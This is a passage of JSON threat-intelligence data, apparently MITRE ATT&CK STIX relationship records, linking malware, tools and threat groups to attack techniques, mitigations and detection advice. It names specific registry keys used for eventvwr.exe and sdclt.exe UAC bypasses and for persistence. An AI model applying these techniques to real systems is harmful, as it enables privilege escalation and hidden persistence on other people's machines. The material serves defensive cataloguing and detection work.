)","modified":"2022-06-09T18:32:39.814Z","relationship_type":"uses","source_ref":"malware--c113230f-f044-423b-af63-9b63c802f5ae","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--04f19ae7-931f-4798-a609-4b64aced1da3","type":"relationship","created":"2020-01-19T16:10:15.541Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Expel IO Evil in AWS","url":"https://expel.io/blog/finding-evil-in-aws/","description":"A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020."}],"modified":"2020-12-18T14:57:08.162Z","description":"Use multi-factor authentication for user and privileged accounts. Consider enforcing multi-factor authentication for the CreateKeyPair and ImportKeyPair API calls through IAM policies.(Citation: Expel IO Evil in AWS)","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--04f8f862-049b-40d6-8250-68ed30cd4e92","created":"2023-09-29T21:23:59.807Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"GitHub Pacu","description":"Rhino Security Labs. (2019, August 22). Pacu. Retrieved October 17, 2019.","url":"https://github.com/RhinoSecurityLabs/pacu"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-13T16:30:58.286Z","description":"[Pacu](https://attack.mitre.org/software/S1091) can create malicious Lambda functions.(Citation: GitHub Pacu)","relationship_type":"uses","source_ref":"tool--1b3b8f96-43b1-4460-8e02-1f53d7802fb9","target_ref":"attack-pattern--e848506b-8484-4410-8017-3d235a52f5b3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--04ff77bc-6232-4950-8e9c-6f4dcc83ca9d","created":"2023-03-20T17:15:57.264Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Lunghi Iron Tiger Linux","description":"Daniel Lunghi. (2023, March 1). Iron Tiger’s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.","url":"https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-29T16:41:14.863Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) has used DNS TXT requests as for its C2 communication.(Citation: Lunghi Iron Tiger Linux)","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0500bac5-bc50-4529-ae5f-b4e1a85fa7d7","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"},{"url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.","source_name":"Talos Group123"}],"modified":"2019-09-09T19:12:32.648Z","description":"[APT37](https://attack.mitre.org/groups/G0067)'s has added persistence via the Registry key HKCU\\Software\\Microsoft\\CurrentVersion\\Run\\.(Citation: FireEye APT37 Feb 2018)(Citation: Talos Group123)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--050b13e6-22e2-450c-a075-44a79fb79dc9","type":"relationship","created":"2020-02-11T18:42:07.392Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T18:42:07.392Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--050f4038-bed5-4353-970c-d32be292a037","created":"2023-09-22T19:00:06.667Z","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-22T19:00:06.667Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) accessed Azure AD to download bulk lists of group members and to identify privileged users, along with the email addresses and AD attributes.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--05104256-7e9a-457b-8e9f-86976992f3c7","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Linfo May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"}],"modified":"2020-03-20T02:11:07.243Z","description":"[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can retrieve system information.(Citation: Symantec Linfo May 2012)","relationship_type":"uses","source_ref":"malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0512a63b-58c8-4b0c-b2b4-e4da562cee5f","type":"relationship","created":"2017-05-31T21:33:27.064Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.secureworks.com/resources/blog/living-off-the-land/","description":"Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.","source_name":"Dell TG-1314"}],"modified":"2019-03-25T17:01:21.292Z","description":"[Threat Group-1314](https://attack.mitre.org/groups/G0028) actors mapped network drives using net use.(Citation: Dell TG-1314)","relationship_type":"uses","source_ref":"intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--051d3269-bc25-4844-aa83-d1acb5927a90","created":"2023-10-04T15:34:57.887Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-05T08:00:52.454Z","description":"[Sardonic](https://attack.mitre.org/software/S1085) PowerShell scripts can be encrypted with RC4 and compressed using Gzip.(Citation: Bitdefender Sardonic Aug 2021)","relationship_type":"uses","source_ref":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--05206466-cf74-44b7-a874-234c7bbf1818","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor for the use of Access Tokens to access services such as Email that were created using SAML tokens which do not have corresponding 1202 events in the domain.(Citation: Sygnia Golden SAML)","source_ref":"x-mitre-data-component--ff93f688-d7a4-49cf-9c79-a14454da8428","target_ref":"attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sygnia Golden SAML","description":"Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.","url":"https://www.sygnia.co/golden-saml-advisory"}]},{"type":"relationship","id":"relationship--05245120-4208-4cd1-b32e-e31e069c0d28","created":"2023-03-22T05:28:46.936Z","revoked":false,"external_references":[{"source_name":"ESET Telebots Dec 2016","description":"Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020.","url":"https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:28:46.936Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used ROT13 encoding, AES encryption and compression with the zlib library for their Python-based backdoor.(Citation: ESET Telebots Dec 2016)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--05282a2d-21c6-4150-94e0-d57c2f84c887","type":"relationship","created":"2021-04-08T18:09:43.106Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Aqua Kinsing April 2020","url":"https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability","description":"Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."}],"modified":"2021-04-08T18:09:43.106Z","description":"[Kinsing](https://attack.mitre.org/software/S0599) has used the find command to search for specific files.(Citation: Aqua Kinsing April 2020)","relationship_type":"uses","source_ref":"malware--d6e55656-e43f-411f-a7af-45df650471c5","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0528b64e-e719-44a9-94aa-0576bd9a87ec","created":"2019-09-23T23:08:25.267Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike GTR2020 Mar 2020","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"},{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.501Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used compromised credentials to log on to other systems.(Citation: FireEye APT41 Aug 2019)(Citation: Crowdstrike GTR2020 Mar 2020)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0529ea16-1644-455d-a682-27e1f04b8cd1","type":"relationship","created":"2021-06-29T15:39:46.427Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-06-29T15:55:40.134Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) has used names to mimic legitimate software including \"vmtoolsd.exe\" to spoof Vmtools.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--052a622b-7fe4-4348-a7e3-5086c0c765d0","created":"2024-06-10T21:08:18.014Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks GOLD IONIC April 2024","description":"Counter Threat Unit Research Team. (2024, April 15). GOLD IONIC DEPLOYS INC RANSOMWARE. Retrieved June 5, 2024.","url":"https://www.secureworks.com/blog/gold-ionic-deploys-inc-ransomware"},{"source_name":"SentinelOne INC Ransomware","description":"SentinelOne. (n.d.). What Is Inc. Ransomware?. Retrieved June 5, 2024.","url":"https://www.sentinelone.com/anthology/inc-ransom/"},{"source_name":"SOCRadar INC Ransom January 2024","description":"SOCRadar. (2024, January 24). Dark Web Profile: INC Ransom. Retrieved June 5, 2024.","url":"https://socradar.io/dark-web-profile-inc-ransom/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T19:12:02.317Z","description":"(Citation: Secureworks GOLD IONIC April 2024)(Citation: SOCRadar INC Ransom January 2024)(Citation: SentinelOne INC Ransomware)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--052acd65-b05a-4645-943b-1c53a717c419","created":"2023-09-27T14:53:50.191Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Booz Allen Hamilton","description":"Booz Allen Hamilton When The Lights Went Out Retrieved. 2019/10/22 ","url":"https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T16:24:27.278Z","description":"During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), [Sandworm Team](https://attack.mitre.org/groups/G0034) modified in-registry Internet settings to lower internet security before launching `rundll32.exe`, which in-turn launches the malware and communicates with C2 servers over the Internet. (Citation: Booz Allen Hamilton).","relationship_type":"uses","source_ref":"campaign--46421788-b6e1-4256-b351-f8beffd1afba","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--052b685c-6d95-4a98-86f1-4c9bb39a398c","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-flame-questions-and-answers-51/34344/","description":"Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.","source_name":"Kaspersky Flame"},{"url":"https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/","description":"Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice…. Retrieved March 1, 2017.","source_name":"Kaspersky Flame Functionality"}],"modified":"2019-06-06T14:35:53.928Z","description":"[Flame](https://attack.mitre.org/software/S0143) can use MS10-061 to exploit a print spooler vulnerability in a remote system with a shared printer in order to move laterally.(Citation: Kaspersky Flame)(Citation: Kaspersky Flame Functionality)","relationship_type":"uses","source_ref":"malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--052be04b-5ff3-4757-a5c1-de012997accc","created":"2023-03-24T21:33:50.660Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Turla PowerShell May 2019","description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/"},{"source_name":"Symantec Waterbug Jun 2019","description":"Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-27T20:17:27.261Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has modified Registry values to store payloads.(Citation: ESET Turla PowerShell May 2019)(Citation: Symantec Waterbug Jun 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--052c54bf-b92b-4a7e-bca4-bc884437a327","type":"relationship","created":"2020-09-24T14:24:34.788Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.451Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) can get user agent strings for the default browser from HKCU\\Software\\Classes\\http\\shell\\open\\command.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--052d9dcb-0aa1-4cb0-8055-95412a5b61c0","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"enigma0x3 Fileless UAC Bypass","description":"Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.","url":"https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/"},{"source_name":"enigma0x3 sdclt app paths","description":"Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.","url":"https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/"},{"source_name":"enigma0x3 sdclt bypass","description":"Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.","url":"https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-23T22:10:21.318Z","description":"Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command Registry key.(Citation: enigma0x3 Fileless UAC Bypass)\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)\nAnalysts should monitor these Registry settings for unauthorized changes.\n\nUAC Bypass is an interesting technique in that new implementations are regularly found and existing implementations may be fixed (i.e., patched) by Microsoft in new builds of Windows. Therefore, it is important to validate than detections for UAC Bypass are still relevant (i.e., they target non-patched implementations). \n\nNote: Sysmon Event ID 12 (Registry Key Create/Delete), Sysmon Event ID 13 (Registry Value Set), and Sysmon Event ID 14 (Registry Key and Value Rename) are useful for creating detections around Registry Key Modification in the context of UAC Bypass.","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0536e9fb-2b02-43e4-b3e4-1191ed4b526d","type":"relationship","created":"2020-10-23T15:04:40.254Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-23T15:04:40.254Z","relationship_type":"revoked-by","source_ref":"attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44","target_ref":"attack-pattern--791481f8-e96a-41be-b089-a088763083d4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--053731ec-3b29-470c-ad6e-f3e116cf4e69","created":"2022-05-27T14:06:34.906Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. ","modified":"2022-05-27T14:06:34.906Z","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--926d8cfd-1d0d-4da2-ab49-3ca10ec3f3b5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0537c342-77af-4626-bbe3-9360798a30d5","type":"relationship","created":"2019-03-11T16:44:33.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"},{"source_name":"GitHub Inveigh","url":"https://github.com/Kevin-Robertson/Inveigh","description":"Robertson, K. (2015, April 2). Inveigh: Windows PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer/man-in-the-middle tool. Retrieved March 11, 2019."}],"modified":"2021-04-09T14:46:59.568Z","description":"[Empire](https://attack.mitre.org/software/S0363) can use Inveigh to conduct name service poisoning for credential theft and associated relay attacks.(Citation: Github PowerShell Empire)(Citation: GitHub Inveigh)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--05381a55-01d2-4c75-9a2b-504eff1b606a","created":"2024-07-14T20:21:22.614Z","revoked":false,"external_references":[{"source_name":"Zscaler Pikabot 2023","description":"Brett Stone-Gross & Nikolaos Pantazopoulos. (2023, May 24). Technical Analysis of Pikabot. Retrieved July 12, 2024.","url":"https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-14T20:21:22.614Z","description":"[Pikabot](https://attack.mitre.org/software/S1145) gathers victim network information through commands such as ipconfig and ipconfig /all.(Citation: Zscaler Pikabot 2023)","relationship_type":"uses","source_ref":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--053d1126-0d8d-4048-be96-d1a395a1fe8c","type":"relationship","created":"2021-03-12T17:26:12.436Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike GTR2020 Mar 2020","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}],"modified":"2021-03-12T17:26:12.436Z","description":"[BabyShark](https://attack.mitre.org/software/S0414) has used scheduled tasks to maintain persistence.(Citation: Crowdstrike GTR2020 Mar 2020)","relationship_type":"uses","source_ref":"malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0545e60c-080c-4930-a729-b3ce7dc51979","created":"2022-06-15T14:49:50.815Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky Lyceum October 2021","description":"Kayal, A. et al. (2021, October). 